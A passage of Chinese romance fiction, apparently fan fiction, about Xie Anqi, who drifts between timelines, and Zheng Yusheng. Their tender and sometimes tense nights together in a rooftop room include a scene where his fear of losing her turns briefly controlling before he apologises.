“如果未来再有很多条线,你还会找到我吗?”谢安琪轻声问,随后转身看着他。 “会。”郑禹胜不假思索地答。 “那要是我不认得你呢?” “那我就再一次让你爱上我。” 谢安琪转头看他,鼻尖微红,却忍不住笑了。 “真狡猾。”她低声说。 “那也只能是你。”他轻声回,抬手碰了碰她的额头。 …… 夜越来越深,风也停了下来,谢安琪慢慢走回床边,躺下时,郑禹胜走过来,弯下身帮她把被角掖好,她拉住他衣摆,轻声:“今晚别走,好不好?” 他愣了愣,随后轻轻嗯了一声,脱下外套,躺到她身边,屋子里只剩下他们的呼吸声,像两条河流,缓缓汇成一个安静的湖面。谢安琪把脸埋进他胸口,声音闷闷地传来:“以后,再也不要让我等那么久。” “好。”他轻轻拍着她的背,声音像夜里最温柔的风。 他们就这样靠在一起,直到夜完全将他们包围,世界外的一切都与他们无关,那一刻,只有这条线,只有这两颗紧紧相贴的心。 夜里风吹得很急,屋塔房的窗户被吹得嘎吱响个不停。郑禹胜洗完澡出来,头发还湿着,随手用毛巾胡乱擦了两下。他看了一眼她那堆叠乱糟糟的纸,忍不住走过去,把她的笔拿走。 “这么晚怎么还在做什么?” 谢安琪抬起头,嘴角带着一点疲惫的笑:“我在练字。” “太晚了。”他皱着眉,动作却很轻,把纸整齐叠好,放到桌角,“别再写了,早点休息不好吗?” “没事的。”她笑着回嘴,声音却带着软软的撒娇意味,郑禹胜没接话,只是转身去厨房,把水壶拿出来烧水。几分钟后,水声滚烫地响起来,屋子里起了一层浅浅的水汽,他拿出一包方便面,又从冰箱里找出一颗青菜,笨拙地洗了几下。 “你不是说晚上不吃宵夜吗?”谢安琪站到厨房门口,看着他小心撕面包调料包的样子,忍不住问。 “我饿。”他语气简短,但手里的动作依旧很认真,甚至把面条煮得特别小心,怕煮碎了。 面端上桌后,他装作若无其事地把碗推到她面前,自己则只拿了一双筷子,在锅里挑了几根面随意夹着吃。 谢安琪捧着那碗面,低头闻了一口,忽然鼻尖发酸。 她小声说:“这碗面真香。” “少废话,快吃。”他别开脸,盯着桌上的便签堆,不敢再看她。 夜里的屋塔房安静极了,只有她轻轻的吸面声和他偶尔敲碗边的声音。 吃完面后,她走到收音机旁边,拧了几圈开关,忽然听到一个老电台的夜谈节目。 音质有点糊,夹着滋滋的电流声,像是被困在时间里的另一种呼吸。 她抱着一只小抱枕,窝在矮桌旁,安静地听着。 郑禹胜走到她身后,没出声,只是坐下来,把她轻轻揽进怀里。 主持人在广播里缓慢地说着:“如果可以再选择一次,你会把什么留在身边?” 谢安琪眨了眨眼,看向电台,又轻轻看了看他。郑禹胜没有开口,但手在她腰间轻轻收紧了一点。那一刻,广播里的问题仿佛只对他们发问,空气里浮着微小的答案,细碎而明亮。 …… 谢安琪靠在门框上,看着他认真擦拭的背影,心底涌上一阵莫名的酸楚。 角落里有一台老电扇,因为太久没用,叶片上积了一层灰。郑禹胜蹲在地上,一点点拆开外壳,用湿毛巾擦净每一片叶子。 “你干嘛这么认真?”她忍不住问。 “吹坏了怎么办?”他头也不回,“你又怕热。” “可……它那么旧了,能不能用都不知道。” “总得试试。”他说完,又专注擦最后一块灰,动作慢得像是对待什么珍贵的东西,她走过去,蹲下身,也跟着一起擦最后几根栅栏。 “那以后坏了呢?”她问。 “再修。”他说得很轻。 “修不好呢?” “那就陪着它,不让它丢掉。”这句话说完,他抬头看她,眼神正而温柔。那一瞬间,她忽然很想把他紧紧抱住,可她只轻轻伸手,帮他理了一下额前湿漉漉的碎发,两个人贴得很近,安静到只剩彼此的呼吸声。 …… 最近几天,郑禹胜变得异常敏感,谢安琪只要稍微走出屋子久一点,他就会在屋顶或者楼道里等着,见到她的时候,脸色总是很冷。 那天晚上,她只不过去附近的便利店买了一瓶牛奶,回来晚了二十分钟,刚到楼道,就看见他靠在墙边,双手插在外套口袋里,目光阴沉,像是随时会暴风雨一样。 “去哪了?”他低声问。 “便利店,买牛奶。”她举了举手里的袋子,笑得很勉强。 “这么久?”他的声音带着锋利的冷意。 “人多,排队……”她刚解释一句,他就打断了。 “以后不许自己出去。”他抬起头,盯着她,声音生硬。 她怔了怔,手里的牛奶晃了晃,眼里闪过一瞬的不安和微弱的反抗。 “我只是买个牛奶,又不是离开你。”她小声说。 “你要走的时候,也没提前告诉过我。”他忽然抬高了音量,脸上是一种陌生的冷硬,像是压了很久的东西忽然炸开。 谢安琪下意识退了一步,撞到墙壁,她抬起头,看着他近在咫尺的脸,呼吸乱了。 “我没有……我没有选择……”她结结巴巴地说,声音颤抖。 “那现在呢?你是不是还会再 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可她也有自己的恐惧,她怕无法再见到他,怕失去这条线,怕再也没有机会告诉他自己其实一直想留下,夜深了,屋顶的风渐渐停下来,她抱着膝盖,闭着眼,轻轻说了一句:“对不起……” 快到凌晨,她迷迷糊糊地听到楼梯上有轻微的脚步声,接着,一只厚重的外套被轻轻披到她肩上。谢安琪抬头,看见郑禹胜蹲在她面前,眼神里有未退去的红意,呼吸明显压抑着什么。 “你不睡觉吗?”他的声音有些颤,注意到他的声音,谢安琪怔怔看着他,喉咙哽得说不出话。 “冷成这样,为什么不回去?”他问,语气急躁却压着分寸。 她低着头,指尖紧紧揪着毯子一角,声音低到几乎听不见:“因为……我怕回去你不在了。” 听到这句话,他整个人僵住,像是被某根无形的线狠狠勒住了喉咙,郑禹胜抬手,迟疑着落到她发间,缓缓把她抱进怀里。风从他们身后吹过,带走那句话语里的冷意,只剩下胸腔里被她哭声揉软的心跳。 “我不知道该怎么做。”他低声说,声音粗哑,“你走了那么多次,每次我都不知道什么时候还会回来,我怕,怕得要疯了。” 谢安琪抬头看他,眼泪滑下来,嘴唇轻轻开合:“我也怕,我怕每一次回来你都不在了。” 郑禹胜闭着眼,额头靠在她额头上,手掌慢慢收紧,仿佛要把她贴进身体里。 “以后,不许再走。”他说。 “可是,我控制不了……”她哭着说,声音细碎得像被风吹开的纸片。 “那就让我来控制。”他几乎是咬着牙说,声音低得像是在跟自己妥协,夜快要亮的时候,两人还坐在屋顶,身上裹着那件外套。她靠在他肩膀上,呼吸终于渐渐平缓下来。郑禹胜转过头,看着她已经睡着的脸,抬手轻轻抚过她发尾,动作小心而缓慢。 “就算你走,我也会找你。”他低声喃喃,像是对她说,也像是对未来说,他弯下身,轻轻吻了吻她的眉心,那一下温柔到极致,像一片被悄悄落下的月光,郑禹胜终于明白,比起控制,她真正需要的是有人在她想回来时,依旧在那里,风渐渐停了,月亮在高空孤独地挂着,周围零星有几颗星子,稀稀落落。 谢安琪醒过来的时候,天已经泛着微亮。她眨了眨酸涩的眼睛,看见郑禹胜还坐在她身边,背对着她,肩膀微微起伏,她伸出手,轻轻拉住他衣角。 “你怎么还不睡?”她声音很轻,刚醒来时带着点沙哑,郑禹胜转过头,看着她,眼睛里有明显的倦意,却透着一层宁静。 “怕你醒来,我不在。”他说。 她怔了一秒,笑了,笑容里带着一丝心疼。 “那你要困坏了。”她伸手,轻轻帮他把外套拉紧。 郑禹胜看着她,忽然弯腰,把额头抵在她肩上,呼吸打在她颈侧,带着一点温热。 “安琪。”他低声喊了一句。 她心口微微一跳,手指不自觉地攥紧他的衣角。 “嗯?” “如果以后,你又突然走了……记得再回来找我。”他说,声音闷在她肩上,听起来笨拙又小心。她张了张嘴,想回答,却被喉咙里的酸意堵住,半晌,只能重重地点了点头,他们靠在一起,天色一点点发亮,城市的轮廓从夜色里缓缓显现出来。 谢安琪忽然开口:“小时候,我常常想象未来的样子。” “是什么样?” “我以为未来会很快,每天都在赶路,去看更多地方,去认识更多人。”她停顿了一下,目光渐渐柔软,“可现在才知道,原来能在同一个地方、同一个屋顶,跟一个人一起看天亮,就已经足够了。” 郑禹胜静静听着,没有插话,只是伸出手,慢慢把她揽得更紧一些。 “那你呢?”她偏头看他,眨了眨眼。 “我啊……”他低头笑了笑,目光落在她发顶,“我以前只想拍戏,只想着去更大的世界。但从遇见你以后,世界这两个字变得很小。” “变成什么了?” “变成一间屋塔房,变成一碗面,变成你。”她的喉咙又一次哽住,眼眶红了一圈。 “那如果有一天,我再也不回来呢?”她问,声音几乎被风吹散,郑禹胜忽然抬头,盯着她的眼睛,神情认真到让人不敢移开视线。 “那我就找到你,把你带回来。”他说,语气里没有一丝犹豫,谢安琪看着他,泪水终于溢出来,顺着脸颊滑进脖颈,凉凉的。 “你为什么这么固执啊……”她哭着笑了。 “因为我只有你。”他说完,像一颗安静而滚烫的石子,沉进她心底最柔软的地方,夜色被一点点稀释,远处传来第一辆清晨的垃圾车声,城市慢慢苏醒。谢安琪把脸埋进他怀里,声音闷闷的:“那你以后,不许再不接我电话,不许再摆冷脸,不许再……” “好,都听你的。”他抬手拍着她后背,声音很轻,像哄小孩。 “那我也答应你,不再轻易走。” 郑禹胜没说话,只是把脸埋进她发间,呼吸越来越深。 他们就这样靠着,肩膀贴着肩膀,心跳交错,直到天完全亮开。回到屋里后,谢安琪倒在床上,整个人还沉浸在屋顶那片寂静的月色里,郑禹胜走到床边,蹲下来,看着她的侧脸。 “睡吧。”他说。 “你呢?”她微微偏头,声音带着困意。 “看着你睡。”他顿了顿,低声补了一句,“不走。” 她闭上眼,嘴角带着一点满足的笑。 “好,那我先睡。” 她呼吸渐渐平缓,彻底进入梦乡,郑禹胜伸手,轻轻抚过她的发,指尖每次停留,都像是一次告白。 “我会等你。”他低声说,“每一次,都会找你。”外面的光透过窗帘,落在他发梢,细碎而柔和,他看着她,胸口缓缓起伏,眼底有一片安静的坚定。 …… 郑禹胜也有自己的事情要做,而谢安琪反而变得无所事事,甚至说她有点担心自己出门太频繁会被周围人感到奇怪后,再被出入境关注,除了少数时间都是在附近转悠买点东西外,多数时间在屋塔房呆着。 有的时候,谢安琪坐在桌边,面前铺着一叠便签纸,她知道自己必然在哪一天又突然回到了2018年,但什么时间,什么原因可能都不是很清晰,留一些信给他或许是个很好的办法。 只是谢安琪拿着笔尖在纸上停了很久,却没有写下一个完整的句子,她喝了一口已经凉透的茶,呼吸浅浅,视线一直停留在那张空白的纸上。 “要从哪一句开始呢……”她喃喃低语,谢安琪想过很多次,若有一天真的要走,想留下一封信给郑禹胜,把所有没来得及告诉他的细节都写进去。可当她真正拿起笔,却发现心里那么多话,一下子全都拥挤到喉咙里,堵得她胸口发紧,先写吧,心里这样想着,她写了一行字,又立刻划掉。 “我一直以为我只是来看你的。” 她写了另一行。 “如果有一天我不在了,请你……” 手指微微发抖,字迹不稳,笔尖划到纸张边缘,留下一道弯曲的痕迹,谢安琪放下笔,揉了揉眉心,低下头,脑海里像电影一样闪回很多片段。第一次看见他在便利店偷偷看自己,第一次一起在屋顶吃面,他会小心翼翼地把葱挑掉,却假装不在意。还有她每次回来,他表面上的冷漠,暗地里的守护,以及每一次被她弄得乱七八糟的心跳 她用指尖轻轻敲着桌面,像是给自己的节奏。 【安琪,别走。】那句她或许听他亲口说出来的请求,回荡在脑海里,格外清晰,谢安琪抬头看向窗外,夜色深到无边,像一条随时可能卷走她的河流。她重新拿起笔,深吸一口气,写下新的句子。 “如果有一天我必须走,不是我想放弃,是我没有选择。但我希望你不要停止等我,哪怕哪条线,我都会回来找你。等我。请你一定要等我。” 笔尖停住,她盯着那几行字,忽然觉得整个胸口被撕开了一道缝,风从里面灌进来,凉得发疼。 门外忽然传来细碎的脚步声,她迅速把便签压到书页里,抬头看去,郑禹胜正站在门口,头发有些乱,衣角微微起皱,手里还提着一瓶刚拆封的矿泉水,他站了一会儿,抬手敲了敲门,声音很轻。 “我能进来吗?” 谢安琪点了点头,他走进来,视线快速扫过桌面,最终停在她微红的眼尾上。 “你在写什么?”他的声音低沉,带着一丝不安。 “没……只是随便写写。”她本能地避开目光。 他慢慢走到桌前,伸手把她压在书页里的信纸抽出来,动作很缓,却不容她反抗,谢安琪想伸手去抢,却被他一把握住手腕。 “别动。”他语气很轻,却不带任何商量,他低下头,读那几行字,目光一点点变暗,指节发白,像是捏碎了什么。 “走……走?你还是要走吗?在还没有离开的时间里总想着要走?”郑禹胜抬起头,声音颤着,却压着一股即将溢出的情绪。 “我不是……”她慌乱地开口,却被他突如其来的靠近堵住,郑禹胜一把捧住她的脸,额头抵着她,呼吸急促到几乎打在她脸上。 “你还在想要走……还在写这些如果,假设,假如……”他咬着牙,声音压到极低,谢安琪想解释,可只要一对上他那双红得要滴出水的眼睛,所有话都卡在喉咙里,郑禹胜松开她的脸,却立刻抓住她的手,把她按到桌边,重新拉过一张信纸。 “写。”他说。 “什……什么?”她愣住,声音发颤。 “写你会留下。”他盯着她,眼底像藏着一场暴风雨,“写你不会再走,写你会让我找到。” 她看着他,呼吸完全乱了,眼泪不受控制地滑下来。 “快写!”他声音忽然扬高,却带着颤抖,像是终于破了一个口子,把藏了很久的脆弱全倒出来,谢安琪看着桌上的空白信纸,手被他攥得发疼,却没有挣脱,过了很久,她颤着手,慢慢写下几行字。 “我会留下。我不会再走。我会等你找到我。” 写完,她放下笔,整个人都在发抖,泪水一滴一滴砸在纸上,墨迹被晕开,模糊了一半。 郑禹胜看着那几行字,眼神一点点软下来,他忽然一把把她拉到怀里,像是再也控制不住,把她搂得死紧,几乎要把她嵌进骨头里。 “对不起……”他低声重复,声音断裂,“对不起……我只是太怕了……” 谢安琪靠在他怀里,眼泪打湿他的衬衫,呼吸混乱,“我知道。”她轻轻回,“我也怕,我一直都怕。” 郑禹胜一声不吭,只是搂着她,手背一下一下抚过她背脊,像在安抚一只流浪很久的猫。 两个人没有再多说什么,屋里只剩下心跳与呼吸交织出的声音,很久之后,他拉着她坐回桌边,把那张写满我会留下的便签纸小心折好,夹进屋塔房那本老旧的诗集里。 “这张不能丢。”他说,语气带着一点孩子气的固执,随后他又从信纸里抽出一张,抓过笔,飞快写了几行。 “我会等你,不管你在哪条线。我也会找到你,不管你认不认识我。” 写完,他把那张纸塞到谢安琪手里。 “这张你也留着。”郑禹胜说,谢安琪看着那几个歪歪扭扭的字,忽然笑了,笑到眼泪又涌出来。 “好。”她点头,那一刻,他们像是把未来的所有未知都写进这两张信纸里,写进这一夜的灯光,写进彼此温热的掌心。 郑禹胜拉着她的手,把她搂进怀里,呼吸沉稳。 “以后不要再写什么如果。”他轻轻说。 “嗯。”她靠在他胸口,声音像一颗落在湖面的水珠。 “所有未来,跟我一起写。”他说。 谢安琪闭着眼,笑了,呼吸变得轻柔而安稳,外面的风也停了,夜色被两盏心底的灯火照得亮起来,这一夜,他们写下的不是信,而是未来最温柔、最坚定的誓言。 郑禹胜走到她身边,抬起手,犹豫了一下,还是把她的手牵起来,放在自己掌心里,两人搬了两个旧垫子到屋顶,躺着看夜空里的星星,郑禹胜仰着头,指着一颗刚亮的星,说:“那个,以后就叫‘等你星’。” “为什么?”她偏过头,看着他的侧脸。 “因为只要你还在看,它就会亮着。”他说。 谢安琪心底轻轻一颤,视线一点点模糊,却还是笑了。 “那你要记得,它其实会比我们老得快。”她轻轻说。 “没关系,我只看现在。”他偏头看她,声音低沉,“现在,你在我旁边,我就足够。” 谢安琪转过身,把头埋进他肩窝里,眼泪悄悄滑过鼻尖,落在他衬衫上,迅速被风吹干,两人就窝在屋顶的垫子上,披着同一条薄毛毯。远处偶有楼下店铺关门的声响,城市像一只疲惫却温柔的兽,缓缓躺下来,进入睡眠。 “以后,如果我再梦见你,或者再一次醒来,不知道在哪里……”谢安琪突然轻声开口,声音里混着夜风的轻颤。 “我会去找你。”他迅速回答,带着一种不容置疑的坚定,谢安琪安静了一会儿,鼻尖轻轻摩挲他的脖颈,像是在确认他的温度。 “那你要说出来,你要来找我,不许只是看着。”她小声补充,声音几乎埋在毛毯里。 “好。”他抬手,轻轻托住她后脑,“以后我会说,天天说,直到你听到。” 谢安琪闭着眼,嘴角带着一点微小而柔软的笑,远处的星星很亮,风很安静,所有未曾说完的誓言,都变成了轻轻呼吸里的回声,一圈一圈,环绕在两个人之间。 次日清晨,谢安琪先醒来,睁开眼时,看见郑禹胜还在熟睡,呼吸安稳,手还紧紧握着她。 她动了动手指,他的眉心微微皱了一下,却没有松开,谢安琪盯着他看了很久,心里有种说不出的热和软,谢安琪轻轻在心里说:“以后,我要用尽每一次机会再回来,找到你,告诉你我在。” 谢安琪靠近郑禹胜,轻轻在他嘴角印下一吻,动作轻得几乎不留痕迹,屋顶的风开始吹动毛毯,远处街道上传来第一辆牛奶车的声音,她躺回去,慢慢合上眼,这一次,她不再害怕梦,不再害怕消失。 因为谢安琪知道,无论哪条线,哪一颗星,他都会在那里,说:“我会找到你。”